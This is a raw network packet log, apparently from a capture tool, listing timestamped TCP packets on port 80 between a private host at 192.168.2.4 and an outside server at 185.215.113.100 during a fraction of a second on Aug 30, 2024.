Aug 30, 2024 18:18:08.638179064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638251066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638259888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638269901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638278961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638287067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638314009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638339043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638484955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638556957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638567924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638596058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638612032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638686895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638695955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638710022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638719082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.638744116 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.638770103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.639020920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639075041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639084101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639121056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.639147997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.639172077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639182091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639189959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639198065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639205933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.639256001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641716003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641763926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641772985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641774893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641813993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641822100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641884089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641892910 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641901970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641911030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.641920090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641936064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.641963005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642086983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642096043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642105103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642113924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642122030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642131090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642136097 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642141104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642184973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642194986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642276049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642316103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642327070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642334938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642362118 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642371893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642388105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642398119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642405987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642416000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642433882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642457962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642627001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642635107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642642975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642651081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642659903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642668009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642673016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642677069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642685890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642694950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642694950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642714977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642734051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642915010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642923117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642930984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642939091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642946959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642956018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642965078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642965078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642973900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.642973900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642983913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.642998934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643007994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643027067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643201113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643209934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643218040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643255949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643279076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643428087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643438101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643446922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643454075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643459082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643464088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643474102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643477917 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643482924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643491030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643501043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643503904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643513918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643523932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643524885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643531084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643542051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643543005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643560886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643595934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643840075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643851995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643860102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643868923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643878937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.643882036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643902063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.643912077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644064903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644074917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644087076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644095898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644104004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644113064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644120932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644121885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644146919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644156933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644332886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644341946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644351006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644361019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644370079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644377947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644382000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644387960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.644393921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644414902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.644432068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.721355915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721374035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721381903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721476078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.721508026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721518040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721525908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721535921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721558094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.721574068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.721646070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.721688032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.722235918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722278118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722287893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722347975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.722363949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722372055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722382069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722409964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.722420931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.722486019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722495079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.722536087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.723715067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723762035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723767996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.723792076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723817110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.723834038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.723891020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723901987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723911047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.723938942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.723963022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.724004984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.724014997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.724054098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725593090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725639105 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725653887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725663900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725696087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725718975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725728989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725755930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725780010 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725850105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725861073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725869894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.725895882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.725919962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726052046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726104021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726114035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726140022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726156950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726170063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726203918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726233006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726243973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726253033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726265907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726281881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726315022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726553917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726564884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726574898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726629019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726650953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726660967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726670980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726696014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726706982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.726727962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726761103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.726804972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729269981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729317904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729321003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729327917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729357958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729373932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729382038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729391098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729402065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729429960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729454994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729510069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729518890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729528904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729557037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729583025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729655981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729665995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729675055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729684114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729693890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729701996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729702950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729712009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729724884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729739904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729763031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729825974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729887009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729895115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729926109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729937077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.729958057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729969025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729978085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.729988098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730005980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730031967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730101109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730113029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730123997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730158091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730236053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730245113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730253935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730263948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730273008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730281115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730283022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730293036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730298996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730315924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730344057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730369091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730379105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730417967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730453014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730463982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730472088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730484962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730494976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730495930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730504036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730514050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730515003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730544090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730583906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730678082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730731010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730741024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730750084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730776072 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730803013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730829000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730870008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730880022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730890036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730916023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730932951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.730954885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730966091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730973959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730983019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.730993032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731003046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731003046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731014013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731029034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731051922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731214046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731267929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731278896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731287003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731308937 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731323957 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731425047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731436014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731445074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731455088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731463909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731472969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731473923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731483936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731496096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731501102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731518030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731543064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731741905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731751919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731762886 CEST	80	49730	185.215.113.100	192.168.2.4
